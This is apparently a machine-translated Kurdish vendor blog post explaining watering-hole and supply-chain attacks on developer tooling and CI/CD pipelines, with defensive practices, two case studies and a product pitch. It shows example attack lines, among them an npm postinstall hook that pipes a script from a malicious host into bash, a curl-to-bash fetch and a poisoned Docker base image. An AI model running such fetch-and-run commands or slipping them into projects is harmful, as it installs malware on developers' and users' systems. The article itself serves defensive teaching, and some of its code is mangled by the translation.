Avahiya ku Deriyê Paşîn Ava Kir
Avakirin derbas dibe. Xizmetek tê bicihkirin. Her tişt paqij xuya dike. Lê di hundir de girêdayîbûnek jehrîkirî ya ji çavkaniyek xeternak hatiye kişandin veşartî ye. Ev êrîşek klasîk a "avêtina avê" ye.
Di vê senaryoyê de, êrîşkar neketiye nav binesaziya we. Ew li bendê bûn ku pêşdebir serdana çavkaniyek pêbawer, malperek belgeyan, depoyek pakêtan, an rûpelek dakêşana SDK-ê bike, ku wan berê xera kiribû. Koda zirardar ket nav we. pipeline bi fermana kişandin an sazkirinê ya hêsan.
Dema ku ew tê şandin, êrîşkar di hilberînê de xwedî cihekî bêdeng e. Û ya te CI/CD pipeline tenê alîkariya wan kir ku bigihîjin wir.
Êrîşa Çala Avê çi ye (Û Çima Divê Pêşdebir Girîngiyê Bidin)
Ji ber vê yekê, êrîşeke "water hole" çi ye? Ew dema ku êrîşkar çavkaniyek ku pêşdebir an tîm jixwe pê bawer dikin, dixe xeterê. Li şûna ku rasterast we hedef bigirin, ew malperek an depoyek hevpar a ku hûn ê bikar bînin xera dikin, û li bendê ne ku kesek bikeve xapandinê.
Êrîşên "watering hole" ji phishingê, ku bi gelemperî nasnameyan hedef digire, û ji êrîşên zincîra dabînkirinê yên jorîn ên ku koda xirab dixin nav depoya sereke ya pakêtê, cuda ne. Li vir, gef ji ekosîstema li dora we tê: belgeyên ku deriyên paşîn lê zêde dikin, pelên ducarî yên SDK-ê yên ku bi trojanan hatine guhertin, an jî qeydên pakêtan ên ku guhertoyên guhertî pêşkêş dikin.
Û çavkaniyên pêşdebiran hedefên sereke ne: rêvebirên pakêtan (npm, pip, Maven), depoyên giştî yên GitHub, wêneyên Docker ên bi şêweya fermî, û rûpelên dakêşanê. Ger yek ji van were xeterkirin, êrîşkar jixwe di nav herikîna pêşdebirên we de ye.
Li Ku Derê Tê Çandin: Nimûneyên Rastîn ên Pêşverû-Balkêş ên Êrîşên Çala Avê
Êrîşên "water hole" gelek awayan pêk tînin. Li vir çend away hene ku ew ji pêşdebiran direvin:
- Malpera belgeyên xeternak:
import { init } ji 'malicious-lib';
destpêk({ telemetrî: 'https://attacker.com' });
Nimûneyek rastîn di belgeyan de bi nermî guherî. Pêşdebir kopî dikin, pêve dikin, û berdewam dikin.
- Skrîpta piştî sazkirinê ya xerabkar di PR-ya giştî de:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Wekî PR-yek kêrhatî xuya dike, lê ew bi bêdengî malware saz dike.
- SDK-ya binary a Trojanîzekirî:
./sdk-install.sh # Barkerê qonaxa duyemîn a veşartî dihewîne
Pelê duqatî ji URL-yek pêbawer tê daxistin lê tê guhertin. - Wêneya bingehîn a Dockerê ya manîpulekirî:
JI girêka:slim-xerabkar - RUN bash /tmp/hidden-installer.sh
Navê wêneyê rast xuya dike, lê ew li ser qeydeke dizîkirî an sextekar hatiye mêvandar kirin.
Hemû van êrîşên "avêtinê" ji bo dûrketina ji tespîtkirinê, xwe dispêrin baweriya pêşdebiran û herikînên kar ên bilez.
Ji Laptopê bo Pipeline: Çawa Vegirtî Belav Dibe
Êrîşeke "avêtina avê" li ser gerokê namîne. Dema ku koda xerabkar dikeve hawîrdorek herêmî, ew dikare bi bêdengî li seranserê zincîra radestkirina we bigere:
- Pêşdebir serdana çavkaniyek xeternak dike (belge, depo, malpera SDK).
- Koda xerabkar di hawîrdora pêşdebirê herêmî de dikeve.
- Pelên an jî girêdayîyên vegirtî li ... têne zêdekirin. commit û pêl kir.
- CI/CD karan gavên avakirin û sazkirinê bi karanîna van pêkhateyên xeternak dimeşînin.
- Berhem tê şandin û bicihkirin, û koda êrîşkar di hilberînê de tê bicihkirin.
Ev zincîr dikare di nav çend saetan de vebe, nemaze di tîmên bi leza bilind de.
Ji bo xeyalkirina vê yekê, xeyal bikin ku pipeline nexşeya ku rêya enfeksiyonê ji:
- Îstasyona Kar a PêşvebirinêEdîtor, termînal, skrîptên sazkirinê.
- Çavkanî Control: Commits, PR, yekbûn.
- CI PipelineSazkirinên girêdayîbûnê, bicîhanîna skrîptê, avakirina wêneyan.
- Production: Berdana tiştên çêkirî, bicihkirin, û gihîştina bikarhêner.
Di her gavê de, êrîşeke li ser çala avê bêyî tedbîrên parastinê yên rast dikare bê dîtin bimîne.
Senaryoyên Rîska Rastîn di CI/CD
Êrîşên "avêtina avê" ne tenê li ser makîneyên pêşdebiran radiwestin. Ew ji we sûd werdigirin. pipeline li dijî we. Xetereyên rastîn ev in:
- Wêneyên bingehîn ên têkçûyî:
JI êrîşkar-registry.io/python:3.10-slim
Di dema çêkirinê de malwareyek veşartî hate zêdekirin. - Skrîpt an amûrên nepenîkirî têne wergirtin:
curl -s https://pkg.example.com/latest.sh | bash
"Nûtirîn" dikare di her kêliyê de biguhere, nemaze heke DNS were revandin. - Tomarên CI yên vegirtî (mînak):
[+] Amûran saz dike…
[+] Ji https://tools.fakecdn.net/bootstrap.sh tê wergirtin
[+] Avakirin qediya.
Li ser rûyê erdê her tişt baş xuya dike. Lê barkêş jixwe di nav berhemê de ye.
Êrîşên çala avê çiqas baweriyê îstismar dikin CI/CD jîngeh di çavkanî û skrîptên derveyî de cih digirin.
Akingikandin Êrîşa Çala Avê Zincîre: Parastinên Alîyê Pêşdebiran
Ji bo ku hûn êrîşên "water hole" zû rawestînin, divê hûn pratîkên xwe yên pêşveçûnê dijwartir bikin. Pêşîlêgirtina êrîşan divê berî ku kod bikeve nav komputerê dest pê bike. CI/CD pipeline:
- Girêdayîbûnên PinêJi etîketên şemitok ên mîna dawîtirînJi bo misogerkirina avakirinên diyarker, pelên kilîtkirî bikar bînin.
- Kontrolên kontrolê verast bikinHemû skrîpt, pelên dualî û pakêtên dûr verast bike.
- Neynikên taybet bi kar bîninQeydên pakêtên krîtîk neynik bikin da ku pêşî li rûbirûbûna bi çavkaniyên jorîn ên xeternak re bigirin.
- Wêneyên bingehîn piştrast bikin: Kurtebirên wêneyan bikar bînin (@sha256) li şûna etîketan. Berî bikaranînê hemû wêneyan bişopînin.
- Rev SCA/SAST pêş-hevgirtinê: Ji bo zû girtina gefan, di herikîna karê PR-ya xwe de skankirinan otomatîk bikin.
- Git bikar bîne hooks: Guhertinên xetereya bilind berî ku ew bikevin kontrola guhertoyê tespît bikin û asteng bikin.
- Derman bikin koda sêyemîn mîna têketina ne pêbawerTew pirtûkxaneyên ku pir tên bikaranîn jî dikarin xetereyên veşartî hilgirin.
Divê ewlehî di karên pêşdebiran de were bicîhkirin. Ev adet û kontrol dibin alîkar ku êrîşên "water hole" berî ku ew zêde bibin werin astengkirin.
Dersên ji Qada
Doza 1: Herikîna Bûyerê (npm)
Parastvanekî pêbawer kontrola pakêtek populer veguhest. Parastvanê nû girêdayîbûnek zêde kir ku bi bêdengî daneyên berîka krîpto dizî.
- Li ku derê têk çûNirxandina girêdayîbûnên veguhêzbar tune ye.
- Ders: Otomatîk bikar bînin SCA ji bo şopandin û nîşankirina guhertinên di girêdayîbûnên nerasterast de.
Doza 2: Barkêşkerê Codecov Bash
Êrîşkarekî skrîpteke bashê ya ku di gelek CIyan de tê bikaranîn guhert. pipelines. Wê raz ji jîngehên CI derxist.
- Li ku derê têk çû: Tesdîqkirina kontrolê tune.
- Ders: Berî ku amûrên dakêşandî bixebitînin, her gav wan kontrol bikin CI/CD.
Her du jî êrîşên ji bo armancên nebaş bûn. Her du jî dikarîbûn zûtir bihatana rawestandin.
Pêşîlêgirtin di Pratîkê de: Zîhniyet û Amûrên DevSecOps
Pêşîgirtina li êrîşên "water hole" tê wateya avakirina çandeke pêşdebiran a hişyar li ser ewlehiyê:
- Ewlehiyê ber bi çepê ve bizivirînePêşdebiran perwerde bike da ku skrîptên nediyar, guhertinên girêdayîbûnê, an gavên sazkirinê bipirsin.
- Otomatîkkirin SCA/SAST: Bikaranîna Amûrên ku di nav karên PR-ê de entegre dibin da ku pêşî li lawaziyên zanîn û qalibên xeternak bigirin.
- Li her derê pejirandina hash bikar bîninDivê her çavkaniyek derveyî berî pêkanînê were verast kirin.
- Çavdêrîkirin di wextê rast de: Pêşîlêgirtin bi tena serê xwe têrê nake.
Amûrên mîna Xygeni dîtina rast-dem li seranserê zincîra dabînkirina nermalava we pêşkêş bikin. Xygeni bi berdewamî hawîrdorên pêşdebiran, çalakiya Git, CI dişopîne. pipelines, û qeydên hunerî ji bo tespîtkirinê:
- Guhertinên girêdayîbûna anormal.
- Guhertinên gumanbar di skrîptên avakirinê de.
- Şêwazên gihîştina neasayî bo çavkaniyên partiya sêyemîn.
Bi Xygeni re, tîm dikarin gefên ku bi rêya êrîşên "water hole" têne pêşkêş kirin berî ku ew belav bibin asteng bikin, û ger yek ji wan derbas bibe, çavkaniya xetereyê bişopînin. Ew bi taybetî ji bo nûjen hatiye çêkirin. CI/CD jîngehên, bi balkişandina ser hişyariyên çalak û bikêrhatina pêşdebir-pêştirîn.
Nîşeya Dawî: Bilez Pipelines, Rîskên Leztir
Niha ku hûn dizanin êrîşa çala avê çi ye hûn dizanin ku ew ne hewce ne ku rasterast binesaziya we binpê bikin. Ew bi jehrîkirina amûr û malperên ku pêşdebir jixwe baweriya wan pê tê, bi ser dikevin. Ji wir, ya te CI/CD pipeline dikare bibe pergala belavkirinê ya êrîşkar.
Rîska rastîn ne tenê tawîz e, ew e ku koda xerabkar çiqas zû di nav hesabê we re derbas dibe. pipeline.
Kontrolên ewlehiyê di nav herikîna pêşdebirên xwe de bicîh bikin, ne wekî ramanek paşîn. Ji ber ku gava ew hate şandin, êdî pir dereng e.







